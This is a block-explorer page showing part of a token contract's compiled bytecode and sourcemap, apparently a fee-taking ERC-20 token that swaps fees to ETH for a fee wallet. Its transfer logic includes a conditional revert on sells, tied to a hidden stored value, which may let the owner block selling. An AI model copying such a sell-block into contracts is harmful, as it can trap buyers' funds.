b038316610c1b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610537565b6001600160a01b038216610c7d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610537565b5f8111610cde5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610537565b5f80546001600160a01b03858116911614801590610d0957505f546001600160a01b03848116911614155b15610e1d57610d2e6064610d286005548561117b90919063ffffffff16565b90611200565b600c549091506001600160a01b038481169116148015610d5757506001600160a01b0384163014155b15610d8f57610d766064610d286006548561117b90919063ffffffff16565b600b5490915061017060039190910b1315610d8f575f80fd5b305f90815260016020526040902054600c54600160a81b900460ff16158015610dc55750600c546001600160a01b038581169116145b8015610dda5750600c54600160b01b900460ff165b8015610de7575060095481115b15610e1b57610e09610e0484610dff84600a54611241565b611241565b610f92565b478015610e1957610e1947611144565b505b505b8015610e9557305f90815260016020526040902054610e3c9082611255565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e8c9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610eb790836112b3565b6001600160a01b0385165f90815260016020526040902055610efa610edc83836112b3565b6001600160a01b0385165f9081526001602052604090205490611255565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f4385856112b3565b60405190815260200160405180910390a350505050565b5f8184841115610f7d5760405162461bcd60e51b81526004016105379190611320565b505f610f898486611622565b95945050505050565b600c805460ff60a81b1916600160a81b179055801561113457600c54600160a01b900460ff1615611134576040805160028082526060820183525f9260208301908036833701905050905030815f81518110610ff057610ff0611635565b60200260200101906001600160a01b031690816001600160a01b031681525050600b60049054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611061573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611085919061159e565b8160018151811061109857611098611635565b6001600160a01b039283166020918202929092010152600b546110c691309164010000000090041684610a94565b600b5460405163791ac94760e01b81526401000000009091046001600160a01b03169063791ac947906111059085905f90869030904290600401611649565b5f604051808303815f87803b15801561111c575f80fd5b505af115801561112e573d5f803e3d5ffd5b50505050505b50600c805460ff60a81b19169055565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561050a573d5f803e3d5ffd5b5f825f0361118a57505f610430565b5f6111958385611552565b9050826111a28583611603565b146111f95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610537565b9392505050565b5f6111f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112f4565b5f81831161124f57826111f9565b50919050565b5f8061126183856116b8565b9050838110156111f95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610537565b5f6111f983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f5a565b5f81836113145760405162461bcd60e51b81526004016105379190611320565b505f610f898486611603565b5f6020808352835180828501525f5b8181101561134b5785810183015185820160400152820161132f565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610550575f80fd5b5f8060408385031215611390575f80fd5b823561139b8161136b565b946020939093013593505050565b5f805f606084860312156113bb575f80fd5b83356113c68161136b565b925060208401356113d68161136b565b929592945050506040919091013590565b5f602082840312156113f7575f80fd5b5035919050565b5f6020828403121561140e575f80fd5b81356111f98161136b565b5f806040838503121561142a575f80fd5b82356114358161136b565b915060208301356114458161136b565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561149e57815f190482111561148457611484611450565b8085161561149157918102915b93841c9390800290611469565b509250929050565b5f826114b457506001610430565b816114c057505f610430565b81600181146114d657600281146114e0576114fc565b6001915050610430565b60ff8411156114f1576114f1611450565b50506001821b610430565b5060208310610133831016604e8410600b841016171561151f575081810a610430565b6115298383611464565b805f190482111561153c5761153c611450565b029392505050565b5f6111f960ff8416836114a6565b808202811582820484141761043057610430611450565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156115ae575f80fd5b81516111f98161136b565b5f805f606084860312156115cb575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156115f4575f80fd5b815180151581146111f9575f80fd5b5f8261161d57634e487b7160e01b5f52601260045260245ffd5b500490565b8181038181111561043057610430611450565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156116975784516001600160a01b031683529383019391830191600101611672565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156104305761043061145056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220799cbf0202c560597d4a9d4690fa288424e8b17432abb52986d42bf11dedd25a64736f6c63430008150033
Deployed Bytecode Sourcemap
3967:7117:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5459:83;;;;;;;;;;-1:-1:-1;5529:5:0;;;;;;;;;;;;-1:-1:-1;;;5529:5:0;;;;5459:83;;;;;;;:::i;:::-;;;;;;;;6292:161;;;;;;;;;;-1:-1:-1;6292:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6292:161:0;1023:187:1;4709:43:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4709:43:0;1215:177:1;5736:95:0;;;;;;;;;;;;;:::i;6461:313::-;;;;;;;;;;-1:-1:-1;6461:313:0;;;;;:::i;:::-;;:::i;5645:83::-;;;;;;;;;;-1:-1:-1;5645:83:0;;4387:1;2000:36:1;;1988:2;1973:18;5645:83:0;1858:184:1;10733:348:0;;;;;;;;;;;;;:::i;:::-;;8962:132;;;;;;;;;;-1:-1:-1;8962:132:0;;;;;:::i;:::-;;:::i;5839:119::-;;;;;;;;;;-1:-1:-1;5839:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5932:18:0;5905:7;5932:18;;;:9;:18;;;;;;;5839:119;3048:148;;;;;;;;;;;;;:::i;4561:37::-;;;;;;;;;;;;;;;;2834:79;;;;;;;;;;-1:-1:-1;2872:7:0;2899:6;2834:79;;-1:-1:-1;;;;;2899:6:0;;;2630:51:1;;2618:2;2603:18;2834:79:0;2484:203:1;4605:40:0;;;;;;;;;;;;;;;;5550:87;;;;;;;;;;-1:-1:-1;5622:7:0;;;;;;;;;;;;-1:-1:-1;;;5622:7:0;;;;5550:87;;5966:167;;;;;;;;;;-1:-1:-1;5966:167:0;;;;;:::i;:::-;;:::i;4652:50::-;;;;;;;;;;;;;;;;10017:671;;;;;;;;;;;;;:::i;9102:138::-;;;;;;;;;;-1:-1:-1;9102:138:0;;;;;:::i;:::-;;:::i;6141:143::-;;;;;;;;;;-1:-1:-1;6141:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6249:18:0;;;6222:7;6249:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6141:143;8675:118;;;;;;;;;;-1:-1:-1;8675:118:0;;;;;:::i;:::-;;:::i;8590:77::-;;;;;;;;;;;;8645:7;:14;;-1:-1:-1;;8645:14:0;8655:4;8645:14;;;8590:77;8801:153;;;;;;;;;;-1:-1:-1;8801:153:0;;;;;:::i;:::-;;:::i;6292:161::-;6367:4;6384:39;669:10;6407:7;6416:6;6384:8;:39::i;:::-;-1:-1:-1;6441:4:0;6292:161;;;;;:::o;5736:95::-;5789:7;4443:13;4387:1;4443:2;:13;:::i;:::-;4430:26;;:10;:26;:::i;:::-;5809:14;;5736:95;:::o;6461:313::-;6559:4;6576:36;6586:6;6594:9;6605:6;6576:9;:36::i;:::-;6623:121;6632:6;669:10;6654:89;6692:6;6654:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6654:19:0;;;;;;:11;:19;;;;;;;;669:10;6654:33;;;;;;;;;;:37;:89::i;:::-;6623:8;:121::i;:::-;-1:-1:-1;6762:4:0;6461:313;;;;;:::o;10733:348::-;10797:10;;-1:-1:-1;;;;;10797:10:0;669;-1:-1:-1;;;;;10783:24:0;;10775:33;;;;;;10858:4;10819:20;5932:18;;;:9;:18;;;;;;10878:14;;10875:73;;10906:30;10923:12;10906:16;:30::i;:::-;10977:21;11012:12;;11009:65;;11038:24;11051:10;11038:12;:24::i;:::-;10764:317;;10733:348::o;8962:132::-;2961:6;;-1:-1:-1;;;;;2961:6:0;669:10;2961:22;2953:67;;;;-1:-1:-1;;;2953:67:0;;;;;;;:::i;:::-;;;;;;;;;9033:7:::1;:19:::0;;;9071:14;::::1;;9063:23;;;::::0;::::1;;8962:132:::0;:::o;3048:148::-;2961:6;;-1:-1:-1;;;;;2961:6:0;669:10;2961:22;2953:67;;;;-1:-1:-1;;;2953:67:0;;;;;;;:::i;:::-;3155:1:::1;3139:6:::0;;3118:40:::1;::::0;-1:-1:-1;;;;;3139:6:0;;::::1;::::0;3118:40:::1;::::0;3155:1;;3118:40:::1;3186:1;3169:19:::0;;-1:-1:-1;;;;;;3169:19:0::1;::::0;;3048:148::o;5966:167::-;6044:4;6061:42;669:10;6085:9;6096:6;6061:9;:42::i;10017:671::-;2961:6;;-1:-1:-1;;;;;2961:6:0;669:10;2961:22;2953:67;;;;-1:-1:-1;;;2953:67:0;;;;;;;:::i;:::-;10081:11:::1;::::0;-1:-1:-1;;;10081:11:0;::::1;;;10080:12;10072:47;;;::::0;-1:-1:-1;;;10072:47:0;;5596:2:1;10072:47:0::1;::::0;::::1;5578:21:1::0;5635:2;5615:18;;;5608:30;5674:25;5654:18;;;5647:53;5717:18;;10072:47:0::1;5394:347:1::0;10072:47:0::1;10130:15;:80:::0;;-1:-1:-1;;;;;;10130:80:0::1;::::0;::::1;::::0;;;;10221:58:::1;::::0;10238:4:::1;::::0;-1:-1:-1;;;;;10130:80:0;10253:15;;::::1;;4443:13;4387:1;4443:2;:13;:::i;:::-;4430:26;::::0;:10:::1;:26;:::i;10221:58::-;10324:15;;;;;;;;;-1:-1:-1::0;;;;;10324:15:0::1;-1:-1:-1::0;;;;;10324:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10306:55:0::1;;10370:4;10377:15;;;;;;;;;-1:-1:-1::0;;;;;10377:15:0::1;-1:-1:-1::0;;;;;10377:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10306:94;::::0;-1:-1:-1;;;;;;10306:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6232:15:1;;;10306:94:0::1;::::0;::::1;6214:34:1::0;6284:15;;6264:18;;;6257:43;6149:18;;10306:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10290:13;:110:::0;;-1:-1:-1;;;;;10290:110:0;;::::1;-1:-1:-1::0;;;;;;10290:110:0;;::::1;;::::0;;10411:15:::1;::::0;;;::::1;;:31;10450:21;10481:4;10487:24;10481:4:::0;-1:-1:-1;;;;;5932:18:0;5905:7;5932:18;;;:9;:18;;;;;;;5839:119;10487:24:::1;10512:1;10514::::0;10516:7:::1;2872::::0;2899:6;-1:-1:-1;;;;;2899:6:0;;2834:79;10516:7:::1;10411:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10411:129:0;;;-1:-1:-1;;;;;6670:15:1;;;10411:129:0::1;::::0;::::1;6652:34:1::0;6702:18;;;6695:34;;;;6745:18;;;6738:34;;;;6788:18;;;6781:34;6852:15;;;6831:19;;;6824:44;10524:15:0::1;6884:19:1::0;;;6877:35;6586:19;;10411:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10558:13:0::1;::::0;10589:15:::1;::::0;10551:71:::1;::::0;-1:-1:-1;;;10551:71:0;;-1:-1:-1;;;;;10589:15:0;;;::::1;::::0;::::1;;10551:71:::0;::::1;7408:51:1::0;-1:-1:-1;;7475:18:1;;;7468:34;10558:13:0;::::1;::::0;-1:-1:-1;10551:29:0::1;::::0;7381:18:1;;10551:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10633:11:0::1;:18:::0;;-1:-1:-1;;;;10662:18:0;-1:-1:-1;;;10662:18:0;;;10017:671::o;9102:138::-;2961:6;;-1:-1:-1;;;;;2961:6:0;669:10;2961:22;2953:67;;;;-1:-1:-1;;;2953:67:0;;;;;;;:::i;:::-;9176:8:::1;:21:::0;;;9230:1:::1;9216:15:::0;::::1;;9208:24;;;::::0;::::1;8675:118:::0;2961:6;;-1:-1:-1;;;;;2961:6:0;669:10;2961:22;2953:67;;;;-1:-1:-1;;;2953:67:0;;;;;;;:::i;:::-;8763:10:::1;:22:::0;;-1:-1:-1;;;;;;8763:22:0::1;-1:-1:-1::0;;;;;8763:22:0;;;::::1;::::0;;;::::1;::::0;;8675:118::o;8801:153::-;2961:6;;-1:-1:-1;;;;;2961:6:0;669:10;2961:22;2953:67;;;;-1:-1:-1;;;2953:67:0;;;;;;;:::i;:::-;8911:3:::1;8902:8:::0;4443:13:::1;4387:1;4443:2;:13;:::i;:::-;4430:26;::::0;:10:::1;:26;:::i;:::-;8892:18;;;;:::i;:::-;:22;;;;:::i;:::-;8877:12;:37:::0;8944:1:::1;8933:12:::0;::::1;;8925:21;;;::::0;::::1;6782:335:::0;-1:-1:-1;;;;;6875:19:0;;6867:68;;;;-1:-1:-1;;;6867:68:0;;8219:2:1;6867:68:0;;;8201:21:1;8258:2;8238:18;;;8231:30;8297:34;8277:18;;;8270:62;-1:-1:-1;;;8348:18:1;;;8341:34;8392:19;;6867:68:0;8017:400:1;6867:68:0;-1:-1:-1;;;;;6954:21:0;;6946:68;;;;-1:-1:-1;;;6946:68:0;;8624:2:1;6946:68:0;;;8606:21:1;8663:2;8643:18;;;8636:30;8702:34;8682:18;;;8675:62;-1:-1:-1;;;8753:18:1;;;8746:32;8795:19;;6946:68:0;8422:398:1;6946:68:0;-1:-1:-1;;;;;7025:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7077:32;;1361:25:1;;;7077:32:0;;1334:18:1;7077:32:0;;;;;;;6782:335;;;:::o;7125:1457::-;-1:-1:-1;;;;;7213:18:0;;7205:68;;;;-1:-1:-1;;;7205:68:0;;9027:2:1;7205:68:0;;;9009:21:1;9066:2;9046:18;;;9039:30;9105:34;9085:18;;;9078:62;-1:-1:-1;;;9156:18:1;;;9149:35;9201:19;;7205:68:0;8825:401:1;7205:68:0;-1:-1:-1;;;;;7292:16:0;;7284:64;;;;-1:-1:-1;;;7284:64:0;;9433:2:1;7284:64:0;;;9415:21:1;9472:2;9452:18;;;9445:30;9511:34;9491:18;;;9484:62;-1:-1:-1;;;9562:18:1;;;9555:33;9605:19;;7284:64:0;9231:399:1;7284:64:0;7376:1;7367:6;:10;7359:64;;;;-1:-1:-1;;;7359:64:0;;9837:2:1;7359:64:0;;;9819:21:1;9876:2;9856:18;;;9849:30;9915:34;9895:18;;;9888:62;-1:-1:-1;;;9966:18:1;;;9959:39;10015:19;;7359:64:0;9635:405:1;7359:64:0;7434:17;2899:6;;-1:-1:-1;;;;;7468:15:0;;;2899:6;;7468:15;;;;:32;;-1:-1:-1;2872:7:0;2899:6;-1:-1:-1;;;;;7487:13:0;;;2899:6;;7487:13;;7468:32;7464:762;;;7533:28;7557:3;7533:19;7544:7;;7533:6;:10;;:19;;;;:::i;:::-;:23;;:28::i;:::-;7585:13;;7521:40;;-1:-1:-1;;;;;;7579:19:0;;;7585:13;;7579:19;:43;;;;-1:-1:-1;;;;;;7602:20:0;;7617:4;7602:20;;7579:43;7576:166;;;7655:29;7680:3;7655:20;7666:8;;7655:6;:10;;:20;;;;:::i;:29::-;7711:7;;7643:41;;-1:-1:-1;7722:3:0;7711:7;;;;;:14;;7703:23;;;;;;7807:4;7758:28;5932:18;;;:9;:18;;;;;;7833:6;;-1:-1:-1;;;7833:6:0;;;;7832:7;:30;;;;-1:-1:-1;7849:13:0;;-1:-1:-1;;;;;7843:19:0;;;7849:13;;7843:19;7832:30;:45;;;;-1:-1:-1;7866:11:0;;-1:-1:-1;;;7866:11:0;;;;7832:45;:87;;;;;7902:17;;7881:20;:38;7832:87;7828:387;;;7940:67;7957:49;7961:6;7968:37;7972:20;7993:11;;7968:3;:37::i;:::-;7957:3;:49::i;:::-;7940:16;:67::i;:::-;8055:21;8098:22;;8095:105;;8145:35;8158:21;8145:12;:35::i;:::-;7921:294;7828:387;7502:724;7464:762;8241:11;;8238:161;;8309:4;8291:24;;;;:9;:24;;;;;;:39;;8320:9;8291:28;:39::i;:::-;8284:4;8266:24;;;;:9;:24;;;;;;;:64;;;;8348:39;;-1:-1:-1;;;;;8348:39:0;;;;;;;8377:9;1361:25:1;;1349:2;1334:18;;1215:177;8348:39:0;;;;;;;;8238:161;-1:-1:-1;;;;;8425:15:0;;;;;;:9;:15;;;;;;:27;;8445:6;8425:19;:27::i;:::-;-1:-1:-1;;;;;8409:15:0;;;;;;:9;:15;;;;;:43;8477:40;8495:21;:6;8506:9;8495:10;:21::i;:::-;-1:-1:-1;;;;;8477:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;8463:13:0;;;;;;;:9;:13;;;;;:54;;;;8533:41;;;8552:21;:6;8563:9;8552:10;:21::i;:::-;8533:41;;1361:25:1;;;1349:2;1334:18;8533:41:0;;;;;;;7194:1388;7125:1457;;;:::o;1726:190::-;1812:7;1848:12;1840:6;;;;1832:29;;;;-1:-1:-1;;;1832:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1872:9:0;1884:5;1888:1;1884;:5;:::i;:::-;1872:17;1726:190;-1:-1:-1;;;;;1726:190:0:o;9354:555::-;5068:6;:13;;-1:-1:-1;;;;5068:13:0;-1:-1:-1;;;5068:13:0;;;9432:27;;9451:7:::1;9432:27;9473:11;::::0;-1:-1:-1;;;9473:11:0;::::1;;;9469:25:::0;9486:7:::1;9469:25;9528:16;::::0;;9542:1:::1;9528:16:::0;;;;;::::1;::::0;;9504:21:::1;::::0;9528:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9528:16:0::1;9504:40;;9573:4;9555;9560:1;9555:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;9555:23:0::1;;;-1:-1:-1::0;;;;;9555:23:0::1;;;::::0;::::1;9599:15;;;;;;;;;-1:-1:-1::0;;;;;9599:15:0::1;-1:-1:-1::0;;;;;9599:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9589:4;9594:1;9589:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9589:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9664:15:::1;::::0;9632:62:::1;::::0;9649:4:::1;::::0;9664:15;;::::1;;9682:11:::0;9632:8:::1;:62::i;:::-;9705:15;::::0;:196:::1;::::0;-1:-1:-1;;;9705:196:0;;:15;;;::::1;-1:-1:-1::0;;;;;9705:15:0::1;::::0;:66:::1;::::0;:196:::1;::::0;9786:11;;9812:1:::1;::::0;9828:4;;9855::::1;::::0;9875:15:::1;::::0;9705::::1;:196;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9421:488;5092:1;-1:-1:-1::0;5104:6:0;:14;;-1:-1:-1;;;;5104:14:0;;;9354:555::o;9917:92::-;9974:10;;:27;;-1:-1:-1;;;;;9974:10:0;;;;:27;;;;;9994:6;;9974:10;:27;:10;:27;9994:6;9974:10;:27;;;;;;;;;;;;;;;;;;;1924:246;1982:7;2006:1;2011;2006:6;2002:47;;-1:-1:-1;2036:1:0;2029:8;;2002:47;2059:9;2071:5;2075:1;2071;:5;:::i;:::-;2059:17;-1:-1:-1;2104:1:0;2095:5;2099:1;2059:17;2095:5;:::i;:::-;:10;2087:56;;;;-1:-1:-1;;;2087:56:0;;11629:2:1;2087:56:0;;;11611:21:1;11668:2;11648:18;;;11641:30;11707:34;11687:18;;;11680:62;-1:-1:-1;;;11758:18:1;;;11751:31;11799:19;;2087:56:0;11427:397:1;2087:56:0;2161:1;1924:246;-1:-1:-1;;;1924:246:0:o;2178:132::-;2236:7;2263:39;2267:1;2270;2263:39;;;;;;;;;;;;;;;;;:3;:39::i;9248:98::-;9305:7;9332:1;9330;:3;9329:9;;9337:1;9329:9;;;-1:-1:-1;9335:1:0;9248:98;-1:-1:-1;9248:98:0:o;1395:179::-;1453:7;;1485:5;1489:1;1485;:5;:::i;:::-;1473:17;;1514:1;1509;:6;;1501:46;;;;-1:-1:-1;;;1501:46:0;;12161:2:1;1501:46:0;;;12143:21:1;12200:2;12180:18;;;12173:30;12239:29;12219:18;;;12212:57;12286:18;;1501:46:0;11959:351:1;1582:136:0;1640:7;1667:43;1671:1;1674;1667:43;;;;;;;;;;;;;;;;;:3;:43::i;2318:189::-;2404:7;2439:12;2432:5;2424:28;;;;-1:-1:-1;;;2424:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2463:9:0;2475:5;2479:1;2475;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:180::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;-1:-1:-1;2198:23:1;;2047:180;-1:-1:-1;2047:180:1:o;2232:247::-;2291:6;2344:2;2332:9;2323:7;2319:23;2315:32;2312:52;;;2360:1;2357;2350:12;2312:52;2399:9;2386:23;2418:31;2443:5;2418:31;:::i;2692:388::-;2760:6;2768;2821:2;2809:9;2800:7;2796:23;2792:32;2789:52;;;2837:1;2834;2827:12;2789:52;2876:9;2863:23;2895:31;2920:5;2895:31;:::i;:::-;2945:5;-1:-1:-1;3002:2:1;2987:18;;2974:32;3015:33;2974:32;3015:33;:::i;:::-;3067:7;3057:17;;;2692:388;;;;;:::o;3345:127::-;3406:10;3401:3;3397:20;3394:1;3387:31;3437:4;3434:1;3427:15;3461:4;3458:1;3451:15;3477:422;3566:1;3609:5;3566:1;3623:270;3644:7;3634:8;3631:21;3623:270;;;3703:4;3699:1;3695:6;3691:17;3685:4;3682:27;3679:53;;;3712:18;;:::i;:::-;3762:7;3752:8;3748:22;3745:55;;;3782:16;;;;3745:55;3861:22;;;;3821:15;;;;3623:270;;;3627:3;3477:422;;;;;:::o;3904:806::-;3953:5;3983:8;3973:80;;-1:-1:-1;4024:1:1;4038:5;;3973:80;4072:4;4062:76;;-1:-1:-1;4109:1:1;4123:5;;4062:76;4154:4;4172:1;4167:59;;;;4240:1;4235:130;;;;4147:218;;4167:59;4197:1;4188:10;;4211:5;;;4235:130;4272:3;4262:8;4259:17;4256:43;;;4279:18;;:::i;:::-;-1:-1:-1;;4335:1:1;4321:16;;4350:5;;4147:218;;4449:2;4439:8;4436:16;4430:3;4424:4;4421:13;4417:36;4411:2;4401:8;4398:16;4393:2;4387:4;4384:12;4380:35;4377:77;4374:159;;;-1:-1:-1;4486:19:1;;;4518:5;;4374:159;4565:34;4590:8;4584:4;4565:34;:::i;:::-;4635:6;4631:1;4627:6;4623:19;4614:7;4611:32;4608:58;;;4646:18;;:::i;:::-;4684:20;;3904:806;-1:-1:-1;;;3904:806:1:o;4715:140::-;4773:5;4802:47;4843:4;4833:8;4829:19;4823:4;4802:47;:::i;4860:168::-;4933:9;;;4964;;4981:15;;;4975:22;;4961:37;4951:71;;5002:18;;:::i;5033:356::-;5235:2;5217:21;;;5254:18;;;5247:30;5313:34;5308:2;5293:18;;5286:62;5380:2;5365:18;;5033:356::o;5746:251::-;5816:6;5869:2;5857:9;5848:7;5844:23;5840:32;5837:52;;;5885:1;5882;5875:12;5837:52;5917:9;5911:16;5936:31;5961:5;5936:31;:::i;6923:306::-;7011:6;7019;7027;7080:2;7068:9;7059:7;7055:23;7051:32;7048:52;;;7096:1;7093;7086:12;7048:52;7125:9;7119:16;7109:26;;7175:2;7164:9;7160:18;7154:25;7144:35;;7219:2;7208:9;7204:18;7198:25;7188:35;;6923:306;;;;;:::o;7513:277::-;7580:6;7633:2;7621:9;7612:7;7608:23;7604:32;7601:52;;;7649:1;7646;7639:12;7601:52;7681:9;7675:16;7734:5;7727:13;7720:21;7713:5;7710:32;7700:60;;7756:1;7753;7746:12;7795:217;7835:1;7861;7851:132;;7905:10;7900:3;7896:20;7893:1;7886:31;7940:4;7937:1;7930:15;7968:4;7965:1;7958:15;7851:132;-1:-1:-1;7997:9:1;;7795:217::o;10045:128::-;10112:9;;;10133:11;;;10130:37;;;10147:18;;:::i;10310:127::-;10371:10;10366:3;10362:20;10359:1;10352:31;10402:4;10399:1;10392:15;10426:4;10423:1;10416:15;10442:980;10704:4;10752:3;10741:9;10737:19;10783:6;10772:9;10765:25;10809:2;10847:6;10842:2;10831:9;10827:18;10820:34;10890:3;10885:2;10874:9;10870:18;10863:31;10914:6;10949;10943:13;10980:6;10972;10965:22;11018:3;11007:9;11003:19;10996:26;;11057:2;11049:6;11045:15;11031:29;;11078:1;11088:195;11102:6;11099:1;11096:13;11088:195;;;11167:13;;-1:-1:-1;;;;;11163:39:1;11151:52;;11258:15;;;;11223:12;;;;11199:1;11117:9;11088:195;;;-1:-1:-1;;;;;;;11339:32:1;;;;11334:2;11319:18;;11312:60;-1:-1:-1;;;11403:3:1;11388:19;11381:35;11300:3;10442:980;-1:-1:-1;;;10442:980:1:o;11829:125::-;11894:9;;;11915:10;;;11912:36;;;11928:18;;:::i
Swarm Source
ipfs://799cbf0202c560597d4a9d4690fa288424e8b17432abb52986d42bf11dedd25a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.